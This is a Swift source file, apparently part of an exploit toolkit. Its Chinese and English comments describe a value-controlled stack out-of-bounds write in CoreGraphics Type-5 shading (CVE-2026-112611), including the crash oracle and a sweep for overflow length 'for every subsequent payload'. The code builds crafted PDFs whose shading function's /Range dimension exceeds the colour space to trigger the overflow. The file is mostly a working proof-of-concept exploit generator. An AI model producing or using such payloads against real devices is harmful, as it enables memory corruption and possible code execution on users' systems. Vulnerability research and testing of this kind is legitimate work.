162 lines
7.8 KiB
Swift
162 lines
7.8 KiB
Swift
// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611
|
||
// 原语: OOB 写 · 进程内 · tier 1
|
||
// Primitive: OOB write · in-process · tier 1
|
||
//
|
||
// [zh] Type-5 阴影栈溢出（值可控 OOB 写）
|
||
// /ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条
|
||
// 72 字节网格记录，颜色区位于记录 +0x20、容量为 nc×8 字节，随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段（即 /Range
|
||
// 维度）为上界，向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca，故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。
|
||
//
|
||
// [en] Type-5 shading stack overflow (value-controlled OOB write)
|
||
// A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the
|
||
// component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh
|
||
// record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then
|
||
// calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension)
|
||
// and writes that many doubles into the colour area. No comparison exists between the write length
|
||
// and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate,
|
||
// so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and
|
||
// the saved registers in order.
|
||
// ── 判别 / oracle ──
|
||
// 取 R=136、nc=1、/C0=/C1=1.0 时，每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽；
|
||
// 循环退出比较读到被覆盖后的计数后继续执行，随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c，
|
||
// 其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典，draw 代码两侧字节完全一致，属纯闸门修复。
|
||
// 变体 cg.shading.sweep: 溢出长度扫描（找吸收阈值）
|
||
|
||
import Foundation
|
||
|
||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||
enum B {
|
||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||
static func be32(_ v: UInt32) -> [UInt8] {
|
||
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
||
}
|
||
static func le32(_ v: UInt32) -> [UInt8] {
|
||
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
||
}
|
||
static func be64(_ v: UInt64) -> [UInt8] {
|
||
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
||
}
|
||
static func le64(_ v: UInt64) -> [UInt8] {
|
||
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
||
}
|
||
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
||
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||
}
|
||
|
||
/*
|
||
// cg.shading.sweep · CoreGraphics · Type-5 shading · CVE-2026-112611
|
||
// 原语: OOB 写 · 进程内 · tier 1
|
||
// Primitive: OOB write · in-process · tier 1
|
||
//
|
||
// [zh] 溢出长度扫描（找吸收阈值）
|
||
// 短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256，逐一记录是否仍能完成渲染，从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。
|
||
//
|
||
// [en] Overflow length sweep (finding the absorption threshold)
|
||
// A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough
|
||
// to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering
|
||
// still completes, and thereby maps the real boundary of the stack layout on this build. That threshold
|
||
// sets the length budget for every subsequent payload.
|
||
*/
|
||
|
||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ──
|
||
enum PDFPayload {
|
||
struct BitWriter {
|
||
private(set) var out: [UInt8] = []
|
||
private var acc: UInt8 = 0
|
||
private var nbits = 0
|
||
|
||
mutating func put(_ value: UInt32, _ width: Int) {
|
||
guard width > 0 else { return }
|
||
for i in stride(from: width - 1, through: 0, by: -1) {
|
||
acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
|
||
nbits += 1
|
||
if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
|
||
}
|
||
}
|
||
|
||
mutating func putExpGolomb(_ value: UInt32) {
|
||
let v = value + 1
|
||
var bits = 0
|
||
while (v >> UInt32(bits)) > 1 { bits += 1 }
|
||
for _ in 0..<bits { put(0, 1) }
|
||
put(v, bits + 1)
|
||
}
|
||
|
||
mutating func flush() -> [UInt8] {
|
||
if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
|
||
return out
|
||
}
|
||
}
|
||
|
||
struct PDFBuilder {
|
||
private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]
|
||
|
||
mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) {
|
||
objects[n] = (dict, stream)
|
||
}
|
||
|
||
func data() -> Data {
|
||
var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8)
|
||
var offsets: [Int: Int] = [:]
|
||
for n in objects.keys.sorted() {
|
||
guard let obj = objects[n] else { continue }
|
||
offsets[n] = out.count
|
||
out.append(Data("\(n) 0 obj\n".utf8))
|
||
out.append(Data(obj.dict.utf8))
|
||
if let stream = obj.stream {
|
||
out.append(Data("\nstream\n".utf8))
|
||
out.append(Data(stream))
|
||
out.append(Data("\nendstream".utf8))
|
||
}
|
||
out.append(Data("\nendobj\n".utf8))
|
||
}
|
||
let xrefPos = out.count
|
||
let maxObj = objects.keys.max() ?? 0
|
||
out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8))
|
||
for n in 1...max(maxObj, 1) {
|
||
let off = offsets[n] ?? 0
|
||
out.append(Data(String(format: "%010d 00000 n \n", off).utf8))
|
||
}
|
||
out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8))
|
||
return out
|
||
}
|
||
}
|
||
|
||
static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data {
|
||
let bpCoord = 32
|
||
let bpComp = 8
|
||
|
||
var bw = BitWriter()
|
||
var verts: [(UInt32, UInt32)] = []
|
||
for r in 0..<rows {
|
||
for c in 0..<verticesPerRow {
|
||
verts.append((UInt32(0x1000_0000 + c * 0x0800_0000), UInt32(0x1000_0000 + r * 0x0800_0000)))
|
||
}
|
||
}
|
||
for (x, y) in verts {
|
||
bw.put(x, bpCoord)
|
||
bw.put(y, bpCoord)
|
||
bw.put(0, bpComp)
|
||
}
|
||
let stream = bw.flush()
|
||
|
||
let c = String(format: "%.17g", value)
|
||
let list = Array(repeating: c, count: max(1, rangeDim)).joined(separator: " ")
|
||
let rangeList = Array(repeating: "0 1", count: max(1, rangeDim)).joined(separator: " ")
|
||
|
||
var pdf = PDFBuilder()
|
||
pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
|
||
pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
|
||
pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>")
|
||
pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh"))
|
||
pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream)
|
||
pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>")
|
||
return pdf.data()
|
||
}
|
||
|
||
}
|
||
|
||
|